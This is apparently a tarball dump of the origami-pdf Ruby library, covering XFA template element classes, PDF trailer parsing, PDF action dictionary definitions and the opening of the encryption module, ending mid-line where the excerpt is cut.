'maxH' xfa_attribute 'maxW' xfa_attribute 'minH' xfa_attribute 'minW' xfa_attribute 'name' xfa_attribute 'presence' xfa_attribute 'relevant' xfa_attribute 'rotate' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'w' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'assist', Template::Assist, 0..1 xfa_node 'border', Template::Border, 0..1 xfa_node 'caption', Template::Caption, 0..1 xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'font', Template::Font, 0..1 xfa_node 'keep', Template::Keep, 0..1 xfa_node 'margin', Template::Margin, 0..1 xfa_node 'para', Template::Para, 0..1 xfa_node 'traversal', Template::Traversal, 0..1 xfa_node 'ui', Template::UI, 0..1 xfa_node 'value', Template::Value, 0..1 xfa_node 'setProperty', Template::SetProperty def initialize super('draw') end end class Validate < XFA::Element xfa_attribute 'formatTest' xfa_attribute 'id' xfa_attribute 'nullTest' xfa_attribute 'scriptTest' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'message', Template::Message, 0..1 xfa_node 'picture', Template::Picture, 0..1 xfa_node 'script', Template::Script, 0..1 def initialize super('validate') end end class Connect < XFA::Element xfa_attribute 'connection' xfa_attribute 'id' xfa_attribute 'ref' xfa_attribute 'usage' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'picture', Template::Picture, 0..1 def initialize super('connect') end end class Execute < XFA::Element xfa_attribute 'connection' xfa_attribute 'executeType' xfa_attribute 'id' xfa_attribute 'runAt' xfa_attribute 'use' xfa_attribute 'usehref' def initialize super('execute') end end class SignData < XFA::Element xfa_attribute 'id' xfa_attribute 'operation' xfa_attribute 'ref' xfa_attribute 'target' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'filter', Template::Filter, 0..1 xfa_node 'manifest', Template::Manifest, 0..1 def initialize super('signData') end end class Submit < XFA::Element xfa_attribute 'embedPDF' xfa_attribute 'format' xfa_attribute 'id' xfa_attribute 'target' xfa_attribute 'textEncoding' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'xdpContent' xfa_node 'encrypt', Template::Encrypt, 0..1 xfa_node 'signData', Template::SignData def initialize super('submit') end end class Event < XFA::Element xfa_attribute 'activity' xfa_attribute 'id' xfa_attribute 'listen' xfa_attribute 'name' xfa_attribute 'ref' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'execute', Template::Execute, 0..1 xfa_node 'script', Template::Script, 0..1 xfa_node 'signData', Template::SignData, 0..1 xfa_node 'submit', Template::Submit, 0..1 def initialize super('event') end end class Format < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'picture', Template::Picture, 0..1 def initialize super('format') end end class Items < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'presence' xfa_attribute 'ref' xfa_attribute 'save' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'boolean', Template::Boolean xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'decimal', Template::Decimal xfa_node 'exData', Template::ExData xfa_node 'float', Template::Float xfa_node 'image', Template::Image xfa_node 'integer', Template::Integer xfa_node 'text', Template::Text xfa_node 'time', Template::Time def initialize super('items') end end class BindItems < XFA::Element xfa_attribute 'connection' xfa_attribute 'labelRef' xfa_attribute 'ref' xfa_attribute 'valueRef' def initialize super('bindItems') end end class Field < XFA::Element xfa_attribute 'access' xfa_attribute 'accessKey' xfa_attribute 'anchorType' xfa_attribute 'colSpan' xfa_attribute 'h' xfa_attribute 'id' xfa_attribute 'locale' xfa_attribute 'maxH' xfa_attribute 'maxW' xfa_attribute 'minH' xfa_attribute 'minW' xfa_attribute 'name' xfa_attribute 'presence' xfa_attribute 'relevant' xfa_attribute 'rotate' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'w' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'assist', Template::Assist, 0..1 xfa_node 'bind', Template::Bind, 0..1 xfa_node 'border', Template::Border, 0..1 xfa_node 'calculate', Template::Calculate, 0..1 xfa_node 'caption', Template::Caption, 0..1 xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'font', Template::Font, 0..1 xfa_node 'format', Template::Format, 0..1 xfa_node 'items', Template::Items, 0..2 xfa_node 'keep', Template::Keep, 0..1 xfa_node 'margin', Template::Margin, 0..1 xfa_node 'para', Template::Para, 0..1 xfa_node 'traversal', Template::Traversal, 0..1 xfa_node 'ui', Template::UI, 0..1 xfa_node 'validate', Template::Validate, 0..1 xfa_node 'value', Template::Value, 0..1 xfa_node 'bindItems', Template::BindItems xfa_node 'connect', Template::Connect xfa_node 'event', Template::Event xfa_node 'setProperty', Template::SetProperty def initialize super('field') end end class ExclGroup < XFA::Element xfa_attribute 'access' xfa_attribute 'accessKey' xfa_attribute 'anchorType' xfa_attribute 'colSpan' xfa_attribute 'h' xfa_attribute 'id' xfa_attribute 'layout' xfa_attribute 'maxH' xfa_attribute 'maxW' xfa_attribute 'minH' xfa_attribute 'minW' xfa_attribute 'name' xfa_attribute 'presence' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'w' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'assist', Template::Assist, 0..1 xfa_node 'bind', Template::Bind, 0..1 xfa_node 'border', Template::Border, 0..1 xfa_node 'calculate', Template::Calculate, 0..1 xfa_node 'caption', Template::Caption, 0..1 xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'margin', Template::Margin, 0..1 xfa_node 'para', Template::Para, 0..1 xfa_node 'traversal', Template::Traversal, 0..1 xfa_node 'validate', Template::Validate, 0..1 xfa_node 'connect', Template::Connect xfa_node 'event', Template::Event xfa_node 'field', Template::Field xfa_node 'setProperty', Template::SetProperty def initialize super('exclGroup') end end class BreakAfter < XFA::Element xfa_attribute 'id' xfa_attribute 'leader' xfa_attribute 'startNew' xfa_attribute 'target' xfa_attribute 'targetType' xfa_attribute 'trailer' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'script', Template::Script, 0..1 def initialize super('breakAfter') end end class BreakBefore < XFA::Element xfa_attribute 'id' xfa_attribute 'leader' xfa_attribute 'startNew' xfa_attribute 'target' xfa_attribute 'targetType' xfa_attribute 'trailer' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'script', Template::Script, 0..1 def initialize super('breakBefore') end end class Subform < XFA::Element ; end class SubformSet < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'relation' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'bookend', Template::Bookend, 0..1 xfa_node 'break', Template::Break, 0..1 xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'occur', Template::Occur, 0..1 xfa_node 'overflow', Template::Overflow, 0..1 xfa_node 'breakAfter', Template::BreakAfter xfa_node 'breakBefore', Template::BreakBefore xfa_node 'subform', Template::Subform xfa_node 'subformSet', Template::SubformSet def initialize super('subformSet') end end class Area < XFA::Element xfa_attribute 'colSpan' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'area', Template::Area xfa_node 'draw', Template::Draw xfa_node 'exclGroup', Template::ExclGroup xfa_node 'field', Template::Field xfa_node 'subform', Template::Subform xfa_node 'subformSet', Template::SubformSet def initialize super('area') end end class ContentArea < XFA::Element xfa_attribute 'h' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'w' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 def initialize super('contentArea') end end class PageArea < XFA::Element xfa_attribute 'blankOrNotBlank' xfa_attribute 'id' xfa_attribute 'initialNumber' xfa_attribute 'name' xfa_attribute 'numbered' xfa_attribute 'oddOrEven' xfa_attribute 'pagePosition' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'medium', Template::Medium, 0..1 xfa_node 'occur', Template::Occur, 0..1 xfa_node 'area', Template::Area xfa_node 'contentArea', Template::ContentArea xfa_node 'draw', Template::Draw xfa_node 'exclGroup', Template::ExclGroup xfa_node 'field', Template::Field xfa_node 'subform', Template::Subform def initialize super('pageArea') end end class PageSet < XFA::Element xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'relation' xfa_attribute 'relevant' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'occur', Template::Occur, 0..1 xfa_node 'pageArea', Template::PageArea xfa_node 'pageSet', Template::PageSet ORDERED_OCCURENCE = "orderedOccurence" DUPLEX_PAGINATED = "duplexPaginated" SIMPLEX_PAGINATED = "simplexPaginated" def initialize super('pageSet') end end class Variables < XFA::Element xfa_attribute 'id' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'boolean', Template::Boolean xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'decimal', Template::Decimal xfa_node 'exData', Template::ExData xfa_node 'float', Template::Float xfa_node 'image', Template::Image xfa_node 'integer', Template::Integer xfa_node 'manifest', Template::Manifest xfa_node 'script', Template::Script xfa_node 'text', Template::Text xfa_node 'time', Template::Time def initialize super('variables') end end class ExObject < XFA::Element xfa_attribute 'archive' xfa_attribute 'classId' xfa_attribute 'codeBase' xfa_attribute 'codeType' xfa_attribute 'id' xfa_attribute 'name' xfa_attribute 'use' xfa_attribute 'usehref' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'boolean', Template::Boolean xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'decimal', Template::Decimal xfa_node 'exData', Template::ExData xfa_node 'exObject', Template::ExObject xfa_node 'float', Template::Float xfa_node 'image', Template::Image xfa_node 'integer', Template::Integer xfa_node 'text', Template::Text xfa_node 'time', Template::Time def initialize super('exObject') end end class Proto < XFA::Element xfa_node 'appearanceFilter', Template::AppearanceFilter xfa_node 'arc', Template::Arc xfa_node 'area', Template::Area xfa_node 'assist', Template::Assist xfa_node 'barcode', Template::Barcode xfa_node 'bindItems', Template::BindItems xfa_node 'bookend', Template::Bookend xfa_node 'boolean', Template::Boolean xfa_node 'border', Template::Border xfa_node 'break', Template::Break xfa_node 'breakAfter', Template::BreakAfter xfa_node 'breakBefore', Template::BreakBefore xfa_node 'button', Template::Button xfa_node 'calculate', Template::Calculate xfa_node 'caption', Template::Caption xfa_node 'certificate', Template::Certificate xfa_node 'certificates', Template::Certificates xfa_node 'checkButton', Template::CheckButton xfa_node 'choiceList', Template::ChoiceList xfa_node 'color', Template::Color xfa_node 'comb', Template::Comb xfa_node 'connect', Template::Connect xfa_node 'contentArea', Template::ContentArea xfa_node 'corner', Template::Corner xfa_node 'date', Template::Date xfa_node 'dateTime', Template::DateTime xfa_node 'dateTimeEdit', Template::DateTimeEdit xfa_node 'decimal', Template::Decimal xfa_node 'defaultUi', Template::DefaultUI xfa_node 'desc', Template::Desc xfa_node 'digestMethod', Template::DigestMethod xfa_node 'digestMethods', Template::DigestMethods xfa_node 'draw', Template::Draw xfa_node 'edge', Template::Edge xfa_node 'encoding', Template::Encoding xfa_node 'encodings', Template::Encodings xfa_node 'encrypt', Template::Encrypt xfa_node 'event', Template::Event xfa_node 'exData', Template::ExData xfa_node 'exObject', Template::ExObject xfa_node 'exclGroup', Template::ExclGroup xfa_node 'execute', Template::Execute xfa_node 'extras', Template::Extras xfa_node 'field', Template::Field xfa_node 'fill', Template::Fill xfa_node 'filter', Template::Filter xfa_node 'float', Template::Float xfa_node 'font', Template::Font xfa_node 'format', Template::Format xfa_node 'handler', Template::Handler xfa_node 'hyphenation', Template::Hyphenation xfa_node 'image', Template::Image xfa_node 'imageEdit', Template::ImageEdit xfa_node 'integer', Template::Integer xfa_node 'issuers', Template::Issuers xfa_node 'items', Template::Items xfa_node 'keep', Template::Keep xfa_node 'keyUsage', Template::KeyUsage xfa_node 'line', Template::Line xfa_node 'linear', Template::Linear xfa_node 'lockDocument', Template::LockDocument xfa_node 'manifest', Template::Manifest xfa_node 'margin', Template::Margin xfa_node 'mdp', Template::MDP xfa_node 'medium', Template::Medium xfa_node 'message', Template::Message xfa_node 'numericEdit', Template::NumericEdit xfa_node 'occur', Template::Occur xfa_node 'oid', Template::OID xfa_node 'oids', Template::OIDs xfa_node 'overflow', Template::Overflow xfa_node 'pageArea', Template::PageArea xfa_node 'pageSet', Template::PageSet xfa_node 'para', Template::Para xfa_node 'passwordEdit', Template::PasswordEdit xfa_node 'pattern', Template::Pattern xfa_node 'picture', Template::Picture xfa_node 'radial', Template::Radial xfa_node 'reason', Template::Reason xfa_node 'reasons', Template::Reasons xfa_node 'rectangle', Template::Rectangle xfa_node 'ref', Template::Ref xfa_node 'script', Template::Script xfa_node 'setProperty', Template::SetProperty xfa_node 'signData', Template::SignData xfa_node 'signature', Template::Signature xfa_node 'signing', Template::Signing xfa_node 'solid', Template::Solid xfa_node 'speak', Template::Speak xfa_node 'stipple', Template::Stipple xfa_node 'subform', Template::Subform xfa_node 'subformSet', Template::SubformSet xfa_node 'subjectDN', Template::SubjectDN xfa_node 'subjectDNs', Template::SubjectDNs xfa_node 'submit', Template::Submit xfa_node 'text', Template::Text xfa_node 'textEdit', Template::TextEdit xfa_node 'time', Template::Time xfa_node 'timeStamp', Template::TimeStamp xfa_node 'toolTip', Template::ToolTip xfa_node 'traversal', Template::Traversal xfa_node 'traverse', Template::Traverse xfa_node 'ui', Template::UI xfa_node 'validate', Template::Validate xfa_node 'value', Template::Value xfa_node 'variables', Template::Variables def initialize super('proto') end end class Subform < XFA::Element xfa_attribute 'access' xfa_attribute 'allowMacro' xfa_attribute 'anchorType' xfa_attribute 'colSpan' xfa_attribute 'columnWidths' xfa_attribute 'h' xfa_attribute 'id' xfa_attribute 'layout' xfa_attribute 'locale' xfa_attribute 'maxH' xfa_attribute 'maxW' xfa_attribute 'minH' xfa_attribute 'minW' xfa_attribute 'name' xfa_attribute 'presence' xfa_attribute 'relevant' xfa_attribute 'restoreState' xfa_attribute 'scope' xfa_attribute 'use' xfa_attribute 'usehref' xfa_attribute 'w' xfa_attribute 'x' xfa_attribute 'y' xfa_node 'assist', Template::Assist, 0..1 xfa_node 'bind', Template::Bind, 0..1 xfa_node 'bookend', Template::Bookend, 0..1 xfa_node 'border', Template::Border, 0..1 xfa_node 'break', Template::Break, 0..1 xfa_node 'calculate', Template::Calculate, 0..1 xfa_node 'desc', Template::Desc, 0..1 xfa_node 'extras', Template::Extras, 0..1 xfa_node 'keep', Template::Keep, 0..1 xfa_node 'margin', Template::Margin, 0..1 xfa_node 'occur', Template::Occur, 0..1 xfa_node 'overflow', Template::Overflow, 0..1 xfa_node 'pageSet', Template::PageSet, 0..1 xfa_node 'para', Template::Para, 0..1 xfa_node 'traversal', Template::Traversal, 0..1 xfa_node 'validate', Template::Validate, 0..1 xfa_node 'variables', Template::Variables, 0..1 xfa_node 'area', Template::Area xfa_node 'breakAfter', Template::BreakAfter xfa_node 'breakBefore', Template::BreakBefore xfa_node 'connect', Template::Connect xfa_node 'draw', Template::Draw xfa_node 'event', Template::Event xfa_node 'exObject', Template::ExObject xfa_node 'exclGroup', Template::ExclGroup xfa_node 'field', Template::Field xfa_node 'proto', Template::Proto xfa_node 'setProperty', Template::SetProperty xfa_node 'subform', Template::Subform xfa_node 'subformSet', Template::SubformSet def initialize super('subform') end end xfa_attribute 'baseProfile' xfa_node 'extras', Template::Extras, 0..1 xfa_node 'subform', Template::Subform def initialize super("template") add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xfa-template/3.0/' end end # # The _xdc_ packet encloses application-specific XFA driver configuration instruction. # class XDC < XFA::Element mime_type '' def initialize super("xsl:xdc") add_attribute 'xmlns:xdc', 'http://www.xfa.org/schema/xdc/1.0/' end end # # The _xfdf_ (annotations) packet enclosed collaboration annotations placed upon a PDF document. # class XFDF < XFA::Element mime_type 'application/vnd.adobe.xfdf' def initialize super("xfdf") add_attribute 'xmlns', 'http://ns.adobe.com/xfdf/' add_attribute 'xml:space', 'preserve' end end # # An _XMP_ packet contains XML representation of PDF metadata. # class XMPMeta < XFA::Element mime_type 'application/rdf+xml' def initialize super("xmpmeta") add_attribute 'xmlns', 'http://ns.adobe.com/xmpmeta/' add_attribute 'xml:space', 'preserve' end end end class XDP < XFA::Element xfa_attribute 'uuid' xfa_attribute 'timeStamp' xfa_node 'config', Origami::XDP::Packet::Config, 0..1 xfa_node 'connectionSet', Origami::XDP::Packet::ConnectionSet, 0..1 xfa_node 'datasets', Origami::XDP::Packet::Datasets, 0..1 xfa_node 'localeSet', Origami::XDP::Packet::LocaleSet, 0..1 xfa_node 'pdf', Origami::XDP::Packet::PDF, 0..1 xfa_node 'sourceSet', Origami::XDP::Packet::SourceSet, 0..1 xfa_node 'styleSheet', Origami::XDP::Packet::StyleSheet, 0..1 xfa_node 'template', Origami::XDP::Packet::Template, 0..1 xfa_node 'xdc', Origami::XDP::Packet::XDC, 0..1 xfa_node 'xfdf', Origami::XDP::Packet::XFDF, 0..1 xfa_node 'xmpmeta', Origami::XDP::Packet::XMPMeta, 0..1 def initialize super('xdp:xdp') add_attribute 'xmlns:xdp', 'http://ns.adobe.com/xdp/' end end class Package < REXML::Document def initialize(package = nil) super(package || REXML::XMLDecl.new.to_s) add_element Origami::XDP::XDP.new if package.nil? end end end end origami-pdf-1.2.7/lib/origami/trailer.rb0000644000175000017500000001074512142214376020326 0ustar terceiroterceiro=begin = File trailer.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'digest/md5' module Origami class PDF private def has_attr?(attr) #:nodoc: not get_doc_attr(attr).nil? end def get_doc_attr(attr) #:nodoc: @revisions.reverse_each do |rev| if rev.trailer.has_dictionary? and not rev.trailer.dictionary[attr].nil? return rev.trailer.send(attr) else xrefstm = get_object_by_offset(rev.trailer.startxref) if xrefstm.is_a?(XRefStream) and xrefstm.has_field?(attr) return xrefstm.send(attr) end end end nil end def get_trailer_info #:nodoc: # # First look for a standard trailer dictionary # if @revisions.last.trailer.has_dictionary? @revisions.last.trailer # # Otherwise look for a xref stream. # else xrefstm = get_object_by_offset(@revisions.last.trailer.startxref) xrefstm if xrefstm.is_a?(XRefStream) end end def gen_id fileInfo = get_trailer_info if fileInfo.nil? raise InvalidPDFError, "Cannot access trailer information" end id = Digest::MD5.hexdigest( rand.to_s ) fileInfo.ID = [ id, id ] end end class InvalidTrailerError < Exception #:nodoc: end # Forward declarations. class Catalog < Dictionary; end class Metadata < Dictionary; end # # Class representing a PDF file Trailer. # class Trailer include StandardObject TOKENS = %w{ trailer %%EOF } #:nodoc: XREF_TOKEN = "startxref" #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first + WHITESPACES) @@regexp_xref = Regexp.new(WHITESPACES + XREF_TOKEN + WHITESPACES + "(\\d+)") @@regexp_close = Regexp.new(WHITESPACES + TOKENS.last + WHITESPACES) attr_accessor :pdf attr_accessor :startxref attr_reader :dictionary field :Size, :Type => Integer, :Required => true field :Prev, :Type => Integer field :Root, :Type => Catalog, :Required => true field :Encrypt, :Type => Dictionary field :Info, :Type => Metadata field :ID, :Type => Array field :XRefStm, :Type => Integer # # Creates a new Trailer. # _startxref_:: The file _offset_ to the XRef::Section. # _dictionary_:: A hash of attributes to set in the Trailer Dictionary. # def initialize(startxref = 0, dictionary = {}) @startxref, self.dictionary = startxref, dictionary && Dictionary.new(dictionary) end def self.parse(stream, parser = nil) #:nodoc: if stream.skip(@@regexp_open) dictionary = Dictionary.parse(stream, parser) else dictionary = nil end if not stream.scan(@@regexp_xref) #raise InvalidTrailerError, "Cannot get startxref value" end startxref = (stream[3] && stream[3].to_i) if not stream.scan(@@regexp_close) #raise InvalidTrailerError, "No %%EOF token found" end Trailer.new(startxref, dictionary && dictionary.to_h) end def [](key) @dictionary[key] if has_dictionary? end def []=(key,val) @dictionary[key] = val end def dictionary=(dict) dict.parent = self if dict @dictionary = dict end def has_dictionary? not @dictionary.nil? end # # Outputs self into PDF code. # def to_s content = "" if self.has_dictionary? content << TOKENS.first << EOL << @dictionary.to_s << EOL end content << XREF_TOKEN << EOL << @startxref.to_s << EOL << TOKENS.last << EOL content end end end origami-pdf-1.2.7/lib/origami/actions.rb0000644000175000017500000002272012122110015020277 0ustar terceiroterceiro=begin = File actions.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Lookup script in the scripts name directory. # def get_script_by_name(name) resolve_name Names::Root::JAVASCRIPT, name end # # Calls block for each named JavaScript script. # def each_named_script(&b) each_name(Names::Root::JAVASCRIPT, &b) end end # # Class representing an action to launch in a PDF. # class Action < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Action field :S, :Type => Name, :Required => true field :Next, :Type => [ Array, Dictionary ], :Version => "1.2" # # Class representing a action going to a destination in the current document. # class GoTo < Action field :S, :Type => Name, :Default => :GoTo, :Required => true field :D, :Type => [ Array, Name, ByteString ], :Required => true # # Creates a new GoTo Action. # _hash_:: A hash of options to set for this jump. # def self.[](hash = {}) if hash.is_a? Destination self.new(:S => :GoTo, :D => hash) else self.new(hash) end end end def self.GoTo(hash = {}) Action::GoTo[hash] end # # Class representing an action launching an URL. # class URI < Action field :S, :Type => Name, :Default => :URI, :Required => true field :URI, :Type => ByteString, :Required => true field :IsMap, :Type => Boolean, :Default => false # # Creates a new URI Action. # _uri_:: The URI to launch. # _ismap_:: # def self.[](uri, ismap = false) self.new(:URI => uri, :IsMap => ismap) end end def self.URI(uri, ismap = false) Action::URI[uri, ismap] end # # Class representing a JavaScript Action. # class JavaScript < Action field :S, :Type => Name, :Default => :JavaScript, :Required => true field :JS, :Type => [ Stream, String ], :Required => true # # Creates a new JavaScript Action. # _script_:: The script to be executed. # def self.[](script) self.new(:JS => script) end end def self.JavaScript(script) Action::JavaScript[script] end # # Class representing an Action which run a command on the current system. # class Launch < Action field :S, :Type => Name, :Default => :Launch, :Required => true field :F, :Type => [ ByteString, Dictionary ] field :Win, :Type => Dictionary field :Mac, :Type => Object field :Unix, :Type => Object field :NewWindow, :Type => Boolean # # Dictionary for passing parameter to Windows applications during Launch. # class WindowsLaunchParams < Dictionary include StandardObject field :F, :Type => ByteString, :Required => true field :D, :Type => ByteString field :O, :Type => ByteString, :Default => "open" field :P, :Type => ByteString end end # # Class representing a Named Action. # Named actions are predefined GoTo actions. # class Named < Action field :S, :Type => Name, :Default => :Named, :Required => true field :N, :Type => Name, :Required => true def self.[](type) self.new(:N => type) end NEXTPAGE = self[:NextPage] PREVPAGE = self[:PrevPage] FIRSTPAGE = self[:FirstPage] LASTPAGE = self[:LastPage] PRINT = self[:Print] end def self.Named(type) Action::Named[type] end # # Class representing a GoTo Action to an external file. # class GoToR < Action field :S, :Type => Name, :Default => :GoToR, :Required => true field :F, :Type => [ ByteString, Dictionary ], :Required => true field :D, :Type => [ Array, Name, ByteString ], :Required => true field :NewWindow, :Type => Boolean, :Version => "1.2" # # Creates a new GoTo remote Action. # _file_:: A FileSpec describing the file. # _dest_:: A Destination in the file. # _newwindow_:: Specifies whether the file has to be opened in a new window. # def self.[](file, dest = Destination::GlobalFit.new(0), newwindow = false) self.new(:F => file, :D => dest, :NewWindow => newwindow) end end def self.GoToR(file, dest = Destination::GlobalFit.new(0), newwindow = false) Action::GoToR[file, dest, newwindow] end # # Class representing a GoTo Action to an embedded pdf file. # class GoToE < Action field :S, :Type => Name, :Default => :GoToE, :Required => true field :F, :Type => [ Dictionary, ByteString ] field :D, :Type => [ Array, Name, ByteString ], :Required => true field :NewWindow, :Type => Boolean field :T, :Type => Dictionary # # A class representing a target for a GoToE to an embedded file. # class EmbeddedTarget < Dictionary include StandardObject module Relationship PARENT = :P CHILD = :C end field :R, :Type => Name, :Required => true field :N, :Type => ByteString field :P, :Type => [ Integer, ByteString ] field :A, :Type => [ Integer, ByteString ] field :T, :Type => Dictionary end def self.[](filename, dest, newwindow = false) self.new(:T => EmbeddedTarget.new(:R => :C, :N => filename), :D => dest, :NewWindow => newwindow) end end def self.GoToE(filename, dest, newwindow = false) Action::GoToE[filename, dest, newwindow] end # # (PDF 1.2) Send data to a uniform resource locator. p703 # class SubmitForm < Action module Flags INCLUDEEXCLUDE = 1 << 0 INCLUDENOVALUEFIELDS = 1 << 1 EXPORTFORMAT = 1 << 2 GETMETHOD = 1 << 3 SUBMITCOORDINATES = 1 << 4 XFDF = 1 << 5 INCLUDEAPPENDSAVES = 1 << 6 INCLUDEANNOTATIONS = 1 << 7 SUBMITPDF = 1 << 8 CANONICALFORMAT = 1 << 9 EXCLNONUSERANNOTS = 1 << 10 EXCLFKEY = 1 << 11 EMBEDFORM = 1 << 12 end field :S, :Type => Name, :Default => :SubmitForm, :Required => true field :F, :Type => Dictionary field :Fields, :Type => Array field :Flags, :Type => Integer, :Default => 0 def self.[](url, fields = [], flags = 0) url = FileSpec.new(:FS => :URL, :F => url) unless url.is_a? FileSpec self.new(:F => url, :Fields => fields, :Flags => flags) end end def self.SubmitForm(url, fields = [], flags = 0) Action::SubmitForm[url, fields, flags] end class ImportData < Action field :S, :Type => Name, :Default => :ImportData, :Required => true field :F, :Type => Dictionary, :Required => true def self.[](file) file = FileSpec.new(:FS => :File, :F => file) unless file.is_a? FileSpec self.new(:F => file) end end def self.ImportData(file) Action::ImportData[file] end class RichMediaExecute < Action field :S, :Type => Name, :Default => :RichMediaExecute, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :TA, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :TI, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :CMD, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true class Command < Dictionary include StandardObject field :Type, :Type => Name, :Default => :RichMediaCommand, :Version => "1.7", :ExtensionLevel => 3 field :C, :Type => String, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :A, :Type => Object, :Version => "1.7", :ExtensionLevel => 3 end def self.[](annotation, command, *params) self.new(:TA => annotation, :CMD => Command.new(:C => command, :A => params)) end end def self.RichMediaExecute(annotation, command, *params) Action::RichMediaExecute[annotation, command, *params] end end end origami-pdf-1.2.7/lib/origami/encryption.rb0000644000175000017500000012611112146177126021056 0ustar terceiroterceiro=begin = File encryption.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'openssl' if Origami::OPTIONS[:use_openssl] rescue LoadError Origami::OPTIONS[:use_openssl] = false end require 'digest/md5' require 'digest/sha2' module Origami class EncryptionError < Exception #:nodoc: end class EncryptionInvalidPasswordError < EncryptionError #:nodoc: end class EncryptionNotSupportedError < EncryptionError #:nodoc: end class PDF # # Returns whether the PDF file is encrypted. # def is_encrypted? has_attr? :Encrypt end # # Decrypts the current document (only RC4 40..128 bits). # _passwd_:: The password to decrypt the document. # def decrypt(passwd = "") unless self.is_encrypted? raise EncryptionError, "PDF is not encrypted" end encrypt_dict = get_doc_attr(:Encrypt) handler = Encryption::Standard::Dictionary.new(encrypt_dict.dup) unless handler.Filter == :Standard raise EncryptionNotSupportedError, "Unknown security handler : '#{handler.Filter.to_s}'" end case handler.V.to_i when 1,2 then str_algo = stm_algo = Encryption::ARC4 when 4,5 if handler[:CF].is_a?(Dictionary) cfs = handler[:CF] if handler[:StrF].is_a?(Name) and cfs[handler[:StrF]].is_a?(Dictionary) cfdict = cfs[handler[:StrF]] str_algo = if cfdict[:CFM] == :V2 then Encryption::ARC4 elsif cfdict[:CFM] == :AESV2 then Encryption::AES elsif cfdict[:CFM] == :None then Encryption::Identity elsif cfdict[:CFM] == :AESV3 and handler.V.to_i == 5 then Encryption::AES else raise EncryptionNotSupportedError, "Unsupported encryption version : #{handler.V}" end else str_algo = Encryption::Identity end if handler[:StmF].is_a?(Name) and cfs[handler[:StmF]].is_a?(Dictionary) cfdict = cfs[handler[:StmF]] stm_algo = if 